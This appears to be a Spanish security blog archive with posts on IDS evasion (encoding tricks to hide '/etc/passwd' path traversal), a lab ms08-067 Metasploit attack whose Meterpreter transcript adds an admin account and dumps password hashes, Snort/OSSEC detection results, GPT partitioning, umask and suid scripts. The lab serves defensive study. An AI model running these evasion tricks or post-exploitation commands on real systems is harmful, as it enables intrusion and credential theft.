Tal como vimos en la anterior entrada, una forma sencilla de evadir el motor de reglas es emplear distintas codificaciones para intentar que el ataque no coincida con el patrón buscado por el IDS. Junto a lo visto con anterioridad, existen otros métodos sobre el protocolo TCP/IP para intentar evadir el motor de reglas. Veremos cuatro de los principales métodos de evasión a nivel de TDP/IP:

Explotar el tiempo de vida (TTL)

El TTL es un campo de las cabecera TCP/IP que se encarga de evitar que un paquete permanezca en la red para siempre. El TTL es un campo de 8 bits que indica el número máximo de enrutadores por los cuales puede pasar. Al llegar a un enrutador el TTL disminuye en 1, si el número resultante después de restarle 1 es igual a 0 el paquete es descartado, informando al emisor con un paquete ICMP de tipo Time Exceeded Message. A muchos de ustedes les sonará el campo porque es empleado por herramientas de tipo traceroute (véase esta entrada sobre las curiosidades del traceroute) para conocer los enrutadores por los que pasamos antes de llegar a nuestro destino.

[Read more…]

Después de unas largas vacaciones, vamos a continuar con el apartado de evasión de IDS que comenzamos hace un par de meses. Tal como vimos, existen distintos vectores de ataques para intentar evadir o denegar el servicio en los entornos de detección de intrusos a nivel de red. El principal objetivo del atacante es evadir el motor de reglas del IDS, de tal forma que el ataque es modificado para que el patrón de búsqueda del motor de reglas no reconozca el ataque como tal, pero sí que sea ejecutado por el servidor víctima.

Para que resulte más sencillo de explicar, vamos a introducirnos en el papel de un atacante en un ejemplo típico de evasión de IDS. Imaginemos que auditando un entorno web hemos detectado que hay un recurso vulnerable (index.php) que permite obtener ficheros de la máquina, y en este caso querremos obtener el fichero “passwd” del directorio “etc”. La consulta web que realizaríamos seria de este estilo:

Al realizar la consulta, vemos que el paquete es rechazado por un IDS (IPS) puesto que éste busca la cadena “/etc/passwd” y si la detecta rechaza el paquete. Nuestra intención como atacantes es pues explotar los distintos posibles vectores de ataques que evadan el IDS y nos permitan obtener el fichero “/etc/passwd”.

El primer tipo de vector de ataque será modificar la cadena “/etc/passwd” para que no sea interpretada por el IDS pero si por el servidor. Este tipo de vector de ataque se dividen principalmente en tres grupos:

1) Interpretación incorrecta del protocolo

Este vector de ataque es muy común en metadatos y servidor Web. Consiste en inyectar en el paquete cabeceras repetidas donde solo una de ellas, normalmente la última, contiene realmente la cabecera que quiere ser explotada por el atacante. Siguiendo el ejemplo anterior, un posible vector de ataque para intentar explotar la vulnerabilidad del servidor web sería enviando una solicitud con el siguiente contenido:

2) Modificación del direccionamiento

Existen métodos para introducir otros caracteres en la cadena que se quiere explotar, sin que esto altere el dato solicitado al servidor, de tal forma que el servidor al ejecutarlo nos permita acceder al recurso solicitado y a su vez, engañar al IDS al no coincidir con el patrón buscado:

Codificación de los caracteres

Otro vector de ataque muy conocido consiste en emplear codificaciones que son interpretadas por distintos servicios pero no así por el IDS. Esto es debido a que algunos servicios soportan codificaciones no estipuladas en el estándar RFC. Por tanto, un IDS debe tener soportes para tantas codificaciones como soporten los distintos servicios, ya que de lo contrario, nosotros como atacantes podríamos evadir el IDS empleando una codificarción no soportada por el IDS pero sí por el servidor, tal como se describe en el paper de Daniel J. Roelker: HTTP IDS Evasion Revisited.

Por ello, dependiendo del servidor existen distintas codificaciones para representar caracteres y de esta forma, poder representar el vector de ataque que queremos realizar. En la siguiente tabla se representa un ejemplo sencillo de como se podría representaría el carácter A (no todos los servicios soportan las mismas codificaciones):

En el caso del ejemplo, si quisiéramos representar el “/etc/passwd” en cualquiera de las codificaciones anteriores sería de la siguiente forma:

Otra forma típica de evadir IDS es aprovechar las primeras características del UTF-8 (Unicode) que permitía representar un mismo carácter de distintas formas, ya que un mismo carácter podía representado con distinto número de bytes. Este fallo fue solventado en el actual estándar UTF8, pero algunos servicios siguen soportando el antiguo estándar. Al respecto, una de las principales ventajas que supone la codificación UTF8 frente a las vistas con anterioridad es la capacidad de emplear el “Bare Byte Unicode Encoding” que permite representar la codificación UTF8 sin necesidad de usar el carácter “%”, lo que le permite saltarse muchos filtros de seguridad.

Debido a lo descrito con anterioridad, los IDS están obligados a emplear normalizadores o preprocesadores, que permitan una representación normalizada del paquete enviado por el usuario, evitando tener que crear firmas para cualquiera de las posibles formas que pudiera adoptar un patrón de ataque. En el caso de Snort y de servidores Web, éste dispone del preprocesador http_inspect, encargado de normalizar las URL solicitadas por los usuarios para intentar eliminar cualquier posibilidad de evasión del IDS. Pero para ello, hay que configurar adecuadamente el preprocesador, indicando las direcciones IP de aquellos servidores que funcionan siguiendo el “estándar” (nótense las comillas, me río yo del estándar) del IIS o de Apache, tal como se describe a continuación:

Espero que les haya parecido interesante. En la siguiente entrada trataremos otro vector de ataque consistente en aprovecharse de las cabeceras TCP/IP para evadir IDS. Cualquier comentario es bienvenido.

(N.d.E.) En otro orden de cosas, Román Soft nos hace llegar la siguiente nota de prensa, relacionada con un concurso de seguridad que seguro que les parecerá interesante:

Empezando con esta, y durante una serie de entradas, vamos a tratar una de las herramientas de seguridad más empleadas: la detección de intrusos a nivel de red (IDS en adelante), y cómo posibles atacantes pueden intentar eludir dicha herramienta. Como ya probablemente sepan, y como hemos visto en anteriores entradas, los IDS consisten en simples sniffers que leen todo el tráfico que circula por una red, lo tratan y lo analizan sobre un conjunto de reglas buscando posibles patrones de ataques en el tráfico escuchado.

Seguro que muchos de ustedes estarán pensando que existen también los IDS a nivel de red que actúan por comportamientos anómalos del tráfico de red. Es cierto, existen como tal pero dichos IDS sólo suelen ser eficaces para puertas traseras, gusanos de rápida propagación (fast spreading worms) y ataques de denegación de servicio; para el resto de ataques no suelen dar un buen resultado. Es por ello que las siguientes entradas se centrarán únicamente sobre la evasión en IDS a nivel de red que empleen un motor de reglas para la detección de posibles ataques.

Antes de explicar las distintas formas de poder evadir un IDS, hagamos una breve introducción al funcionamiento básico de un IDS, ya que aunque no todos los IDS funcionan exactamente igual pero siguen el siguiente patrón:

1. Un sniffer lee todo el tráfico mediante una interfaz en modo promiscuo conectada a una interfaz espejo de un switch, un router, un hub, etc. En el caso de dispositivos empotrados, directamente se emplea la propia interfaz espejo.

2. Unos preprocesadores tratan los datos leídos por el sniffer, con el objeto de que sean procesados de una forma más rápida por el motor de reglas. Tienen además otras funciones, entre ellas intentar evitar que un atacante pueda eludir el motor de reglas, aspecto que se verá más adelante.

3. Un motor de reglas y un conjunto de reglas. A partir de los paquetes tratados por los preprocesadores, el motor de reglas pasa el paquete tratado por cada una de las reglas, buscando un patrón de ataque que coincida con una de éstas. Si encuentra que alguna coincide, realiza la operación indicada por la regla, normalmente considerar que se trata de un ataque (accept) o rechazar el paquete (drop, pass, reject…). En caso de tratarse de un ataque se notifica a los postprocesadores.

4. Los postprocesadores son los encargados de tratar el ataque, ya sea notificando del ataque vía correo electrónico, almacenando el ataque en texto plano o en una base de datos, bloqueando el ataque (por lo que el IDS pasaría a ser un sistema de prevención de intrusos IPS), etc.

Una vez se ha explicado el funcionamiento sencillo de un IDS a nivel de red, vamos a explicar de forma breve los posibles vectores de ataque que permiten evadir estos sistemas. Principalmente existen cuatro vectores de ataque y un quinto, que pese a no ser un vector de ataque hay que tenerlo presenta ya que se trata de una limitación de los IDS:

1. Evasión mediante paquetes fragmentados en los preprocesadores. Existen dos posibles evasiones en este vector de ataque.

2. Codificación empleada en el ataque. No todos los IDS soportan el mismo tipo de codificación, que si soporta el servicio atacado.

3. Gusanos polimórficos y metamórficos (polymorphic and metamorphic worms).

4. Tratamiento de los datos de entrada (parseo) incorrecto por parte de los preprocesadores, que pueden dar lugar a denegación del servicio y por tanto la anulación del IDS.

5. Cifrado de las comunicaciones. Pese a que no se trata de un vector de ataque, hay que tenerlo en cuenta. Como resulta natural, si una comunicación entre un atacante y un servidor victima va cifrada, el IDS no puede reconocer ningún patrón de ataque. De hecho, el motivo por el cual las comunicaciones van cifradas es para que ningún elemento intermediario pueda entender los datos entre ambos.

Sí es cierto que algunos IDS lo que emplean es un certificado intermedio: el atacante al conectarse con el servidor mediante protocolo seguro, realmente lo que hace es conectarse al certificado del IDS, y el IDS a su vez, conectarse con el servicio solicitado por el atacante, es decir, un man in the middle (MITM). Por lo que el IDS es capaz de analizar el tráfico. Pero, ¿qué ocurre si es justamente el IDS el servidor atacado? Pues que el atacante podría leer el tráfico cifrado. Teniendo en cuenta que para ello el IDS tendría que tener una conexión con la red analizada, algo que no es aconsejable.

En las próximas entradas explicaré con ejemplos reales el funcionamiento de estos vectores de ataque y como algunos sistemas actuales son vulnerables a dichos ataques. Manténganse a la escucha.

Recientemente decidí adquirir para casa varios discos duros y una controladora raid por hardware con objetivo de poder almacenar de forma segura y duradera las copias de mis sistemas. Era la primera vez que montaba un entorno donde una sola partición ocupara un tamaño mayor de 2 TeraBytes (1 TB = 1024 GB) sin emplear LVM o MDADM. Cual fue mi sorpresa al comprobar que me era imposible crear una partición más grande de 2TB; me recordaba a los tiempos donde no se podían crear particiones de más de 4GB. Qué lejos queda, ¿verdad?

Buscando un poco de información, en especial en NixCraft y el aporte de mi compañero Raúl Rodriguez, descubrí que el origen de todos los problemas era el tipo de tabla de partición que empleaba (MS-DOS o MBR tradicional), ya que ésta no soporta más de 2 TB limitada por los 512 byte del tamaño del bloque. Para soportar particiones mayores se requiere emplear GUID Partition Table (GPT en adelante) que emplea adicionalmente el final el sector del disco para soportar particiones de mayor tamaño. Pero tengan cuidado, para complicar más las cosas GPT sólo funciona con BIOS que soporten EFI (Extensible Firmware Interface) como los Apple, y no en BIOS clásicas, por lo que si emplean discos de más de 2 TB únicamente podrán emplearlos como almacenamiento y no como arranque.

Veamos a continuación un ejemplo de cómo se migra de la tabla de partición MS-DOS a una tabla GPT en entornos Linux. Para ellos usaremos mi máquina nombrada con anterioridad, la cual dispone de un dispositivo físico (/dev/sdb) de 4.4 TB, resultado de un Raid5 por hardware de 4 discos duros de 1.5 TB:

# parted /dev/sdb
GNU Parted 1.9.0
Usando /dev/sdb
Welcome to GNU Parted! Type 'help' to view a list of commands.
(parted) print all
Model: Adaptec RAID (scsi)
Disk /dev/sdb: 4494GB
Sector size (logical/physical): 512B/512B
Partition Table: msdos

Podemos observar que se nos informa que la “Partition Table” es de tipo msdos, y por tanto no soportará discos de más de 2 TB. Veamos qué ocurre cuando intentamos crear una partición de más de 2 TB en una tabla de particiones tipo MS-DOS:

(parted) mkpart primary 0 4494GB
Error: partition length of 8776550412 sectors exceeds the 
msdos-partition-table-imposed maximum of 4294967295

Como vemos, no nos deja crear particiones de más de 2 TB. Para poder usarlo debemos cambiar el tipo de tabla de partición a GPT:

(parted) mklabel gpt
Aviso: The existing disk label on /dev/sdb will be destroyed and 
all data on this disk will be lost. Do you want to continue?
Sí/Yes/No? YES
(parted) mkpart primary 0 4494GB
(parted) print /dev/sdb
Model: Adaptec RAID (scsi)
Disk /dev/sdb: 4494GB
Sector size (logical/physical): 512B/512B
Partition Table: gpt
Numero   Inicio   Fin   Tamaño   Sistema de ficheros   Nombre   Banderas
1        17,4kB  4494GB 4494GB   primary

Al cambiar a tipo GPT ya nos permite crear particiones de más de 2TB y en nuestro caso una partición de 4494 GB. El siguiente paso será formatear la partición, donde nos encontraremos de nuevo con varias limitaciones. En entornos de 32 bits el sistema de fichero ext3 solo tiene soporte hasta 4 TB, en cambio para entornos de 64 bits como son X86_64 o entornos de 32 bits con el LFS habilitado en el núcleo el límite es de 32TB. Reiserfs tiene un máximo en ambos casos de 16 TB.

Para el ejemplo usaremos ext3, tarda un “poquitín”:

# mkfs.ext3 /dev/sdb1
mke2fs 1.41.9 (22-Aug-2009)
ext2fs_check_if_mount: Can't check if filesystem is mounted due to 
missing mtab file mientras se determinaba si /dev/sdb1 está montado.
Etiqueta del sistema de ficheros=
Tipo de SO: Linux
Tamaño del bloque=4096 (bitácora=2)
Tamaño del fragmento=4096 (bitácora=2)
274268160 nodos-i, 1097070071 bloques
54853503 bloques (5.00%) reservados para el superusuario
Primer bloque de datos=0
Número máximo de bloques del sistema de ficheros=4294967296
33480 bloque de grupos
32768 bloques por grupo, 32768 fragmentos por grupo
8192 nodos-i por grupo
Respaldo del superbloque guardado en los bloques:
     32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208,
     4096000, 7962624, 11239424, 20480000, 23887872, 71663616, 78675968,
     102400000, 214990848, 512000000, 550731776, 644972544
Escribiendo las tablas de nodos-i: 557/33480

Con esto tendríamos listo nuestro disco de 4 TB. Para finalizar la entrada, indicarles que el tamaño máximo soportado por GUID Partition Table es de 256 TB, lo que probablemente les parezca mucho. Claro que rambién lo eran en su día 4GB o 2 TB…

Una vez hemos realizado los ataques, vamos a acabar esta breve serie, analizando que han sido capaces de capturar el Snort empleando las reglas del VRT, y un OSSEC con la configuración por defecto.

Por parte del Snort, éste ha detectado 4 ataques. Como vemos en la captura, éste detecta el acceso por Terminal Server y el acceso al recurso compartido C por contraseña, o el uso del llsrpc pero no vemos rastro real de la ejecución del exploit o del meterpreter. Esto es debido a que las reglas por defecto que generan dichas alertas dan lugar a muchos falsos positivos y por defecto están deshabilitadas:

En la parte del OSSEC nos llama la atención que no salten alertas tales como la creación de nuevos usuarios en la máquina o de usuarios agregados al grupo de Administradores. Debemos recordar que la configuración es la de por defecto, sin habilitar logs extendidos ni otras variantes.

[Read more…]

Tal como vimos ayer en la entrada anterior, hemos montado un laboratorio de análisis de ataques y comportamientos anómalos de una red; espero que los más laboriosos —y con más tiempo libre— se hayan decidido a acompañarme con su propio equipo. Como prueba de concepto del laboratorio, se va a realizar un ataque explotando la vulnerabilidad ms08-067 empleando para ello el framework Metasploit, donde se introducirá como payload Meterpreter, una shell residente en memoria.

Una vez explotada dicha vulnerabilidad, crearemos un usuario “s2”, lo introduciremos en el grupo de administradores, obtendremos las hash de los usuarios del sistema (muy importante para el pass the hash), descargaremos ficheros, subiremos ficheros, modificaremos la web del servidor y nos conectaremos por Terminal Server. Así pues, comencemos con ello.

En primer lugar, vamos a explotar la vulnerabilidad, a la cual nuestro sistema Windows es vulnerable:

Una vez explotada la vulnerabilidad, pasamos a realizar todas las acciones descritas anteriormente:

meterpreter > execute -f cmd.exe -c 
Process 1680 created. 
Channel 4 created. 
meterpreter > interact 4 
Interacting with channel 4... 

Microsoft Windows 2000 [Version 5.00.2195] 
(C) Copyright 1985-2000 Microsoft Corp. 

C:\WINNT\system32>net user s2 1234 /add 
net user s2 1234 /add 
The command completed successfully. 
 

C:\WINNT\system32>net localgroup Administrators s2 /add 
net localgroup Administrators s2 /add 
The command completed successfully. 


C:\WINNT\system32>net localgroup Administrators 
net localgroup Administrators 
Alias name     Administrators 
Comment       Administrators have complete and unrestricted access to the 
                                                               computer/domain 

Members 

------------------------------------------------------------------------------- 
Administrator 
NetShowServices 
prueba 
s2 
The command completed successfully. 

C:\WINNT\system32>exit

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 
IUSR_VICTIMA:1003:0e8ff62b99bc1ad29e3224a00ea92e5f:e8fcdfdbcc579dba2871d859e6b7fb3d::: 
IWAM_VICTIMA:1004:8363ef1550e112c831b03fd6a774eb9e:68fce39bee7df9990aa9082108ae3deb::: 
NetShowServices:1001:c4a1cbf4d0c1c37d01f4d415e335dff5:712b9dda73b053545187aeec8f64db6c::: 
prueba:1008:b757bf5c0d87772faad3b435b51404ee:7ce21f17c0aee7fb9ceba532d0546ad6::: 
s2:1011:b757bf5c0d87772faad3b435b51404ee:7ce21f17c0aee7fb9ceba532d0546ad6::: 
TsInternetUser:1000:b8a10dcd5241884aa381080396088734:a040e830159b73b94d62527980415c04::: 
meterpreter > upload /tmp/pass c:\ 
[*] uploading  : /tmp/pass -> c:\ 
[*] uploaded   : /tmp/pass -> c:\\pass

Para finalizar, nos creamos un directorio s2 dentro del directorio del servidor web y en su interior un fichero index.html que contiene los hash de los usuarios de la máquina:

Mañana acabaremos esta breve serie analizando qué hemos detectado con el Snort y el OSSEC. Como ya les dije, si tienen alguna duda o no les ha quedado claro algún paso, no tienen nada más que decirlo.

Comenzamos con este artículo una serie de tres entradas en las que se va a mostrar como construir un (relativamente) sencillo laboratorio virtual sobre una única máquina física para la detección y prevención de ataques. Como requisitos previos, el laboratorio se monta sobre un entorno Linux, empleando la herramienta VirtualBox para las máquinas virtuales. Para conectar las máquinas virtuales entre si se empleará un hub virtual mediante la herramienta de virtualización UML (uml_switch).

Este entorno va a estar formado por tres máquinas virtuales: la primera será la máquina atacante (Linux Debian), la máquina víctima (Windows 2000 SP4) y por último la máquina IDS (Linux Ubuntu Server). Esta última dispondrá de una serie de herramientas de monitorización para observar y analizar los ataques producidos desde la máquina atacante a la máquina víctima, y de esta forma localizar un patrón que identifique dichos ataques. En concreto hemos instalado un servidor OSSEC (HIDS), una sonda Snort sobre un MySQL con B.A.S.E. (NIDS) y un analizador de red (wireshark y tcpdump).

Hechas las pertinentes presentaciones, vamos al tajo. Primero de todo, comenzamos creando el hub virtual; en nuestro caso el usuario será jmoreno, el grupo jmoreno y la interfaz tap0:

# tunctl -u jmoreno -g jmoreno -t tap0 
Set 'tap0' persistent and owned by uid 1002 gid 1002 
# ifconfig tap0 10.0.0.4 netmask 255.255.255.0 up 
# uml_switch -hub -tap tap0 -unix /tmp/mipuente 
uml_switch will be a hub instead of a switch 
uml_switch attached to unix socket '/tmp/mipuente' tap device 'tap0' 
New connection 
(Veremos las conexiones a nuestro hub)

A continuación nos creamos tres máquinas virtuales con VirtualBox. La configuración de la red para cada máquina virtual será de “puente o bridge” seleccionando como interfaz “tap0”. Para nuestro laboratorio vamos a asignar las siguientes IPs a cada una de las máquinas virtuales:

Atacante: 10.0.0.1 
Víctima: 10.0.0.2 
IDS: 10.0.0.3

Para finalizar esta primera entrada, inicializamos las máquinas virtuales y comprobamos que la comunicación entre el servidor OSSEC y el cliente está funcionando correctamente. Adicionalmente realizamos una serie de calibraciones sobre el Snort que demuestran su correcto funcionamiento:

Como ven el funcionamiento es correcto. Por tanto en este momento disponemos de un laboratorio donde poder, desde la máquina atacante, explotar las vulnerabilidades de la Víctima, y a su vez, monitorizar mediante el IDS todos los sucesos que ocurren entre ambas máquinas, y encontrar patrones que permitan poder detectar dichos ataques. Por hoy, esto es todo; mañana continuaremos, aunque les recomiendo que, si están interesados y disponen de tiempo, ganas y un Linux para trastear, me acompañen durante estas entradas, e iremos resolviendo los problemas y dudas que les vayan surgiendo.

(N.d.E.: Interrumpimos la programación habitual de la Black Hat para hablar de máscaras en su sentido menos erótico festivo. No obstante, que reine la calma, ya que mañana continuaremos con el día 2 de la BH a cargo de Roberto)

Como ustedes saben, los permisos en las máquinas Unix/Linux se dividen en tres dominios: usuario, grupo y otros. A cada uno de estos dominios se le puede aplicar tres permisos: ejecución (x o 1), escritura (w o 2) y lectura (r o 4). Cuando un usuario en Linux crea un fichero o un directorio, éstos deben tener unos permisos. Estos permisos por defecto se establecen mediante una máscara. Hasta aquí, nada nuevo bajo el sol.

El comando para listar los permisos por defecto, la máscara, es umask:

$ umask
0022
$ mkdir directorio
$ touch fichero
$ ls -l
total 4
drwxr-xr-x 2 moxilo moxilo 4096 2010-04-15 00:07 directorio
-rw-r--r-- 1 moxilo moxilo    0 2010-04-15 00:07 fichero

Como ven, para un directorio los permisos por defectos son 755, y para el fichero 644. Estos permisos por defecto son establecidos por la máscara del usuario, en nuestro caso 0022. Para nuestro ejemplo tomamos los tres últimos números (022). Pero, ¿por qué 022? Pese a que tradicionalmente se ha creído que estos permisos se obtienen por la resta del valor 777 menos la máscara en el caso de los directorios, y de 666 menos la máscara para los ficheros, ésta es una conclusión errónea. Lo que realmente ocurre no es la operación resta, sino la operación AND de la negación de la máscara.

En el caso de los directorios la operación es 777 (111 111 111) AND ~(valor mascara en binario), y para los ficheros es igual pero con 666. Veámoslo con un ejemplo:

1º) Dada una mascara con valor 136, su representación en binario es 001 011 110.
2º) La negación de la mascara es el valor 110 100 001.
3º) Para calcular los permisos de los directorios, se realiza la operación AND entre 777 y la negación de la mascara: 111 111 111 AND 110 100 001 dando como resultado 110 100 001, es decir 641.
4º) Para el caso de los ficheros sería la operación AND entre 666 y la negación de la mascara: 110 110 110 AND 110 100 001, dando como resultado 110 100 000, es decir 640.

Si hubiéramos hecho la operación resta para directorios, veríamos que: 777 – 136 = 641, es decir el mismo que con la operación “AND ~(Mascara)”. En cambio, esto no sucede así con los ficheros, ya que 666 – 136 = 530, cuando su valor real es 640.

Por tanto, en caso de los ficheros, una máscara cuyo valor sea 136 estaría dando por defecto permisos de lectura y escritura al usuario (6), de lectura al grupo (4) y ninguno a otros (0). Pero no permisos de lectura y ejecución (5) al usuario y permiso de escritura y ejecución al grupo (3) que es el valor que obtendríamos si restáramos.

$ umask 0136
$ umask
0136
$ mkdir directorio
$ touch fichero
$ ls -l
total 4
drw-r----x 2 moxilo moxilo 4096 2010-04-21 22:09 directorio
-rw-r----- 1 moxilo moxilo    0 2010-04-21 22:10 fichero

Por tanto, recuerden que el método de la resta sirve únicamente para los directorios, pero no así para los ficheros. Es por ello que debemos tener precaución cuando realicemos una modificación sobre la máscara; mi recomendación, si me lo permiten, sería cambiar la mascara a 0027.

Como vimos en la entrada anterior, el uso de scripts con el bit suid presenta grandes problemas de seguridad. Por eso se recomienda siempre el uso del comando sudo, para la ejecución de scripts con privilegios mayores que el usuario que los ejecute. Como pregunta final del artículo, se comentaba si existía la opción de permitir ejecutar un script con el uso del bit suid activado. La respuesta es que sí, hay una forma de conseguir ejecutar un script como si de root se tratará mediante la ejecución de un programa sencillo en C. No se trata en si de la ejecución de un script suid, pero su resultado sería el mismo.

Vamos a explicarlo con un ejemplo, que se va a desarrollar sobre el directorio /tmp/prueba. Comenzaremos creando el script que queremos ejecutar como root de nombre shell.sh:

#!/bin/bash
grep -c "*" /etc/shadow

[Read more…]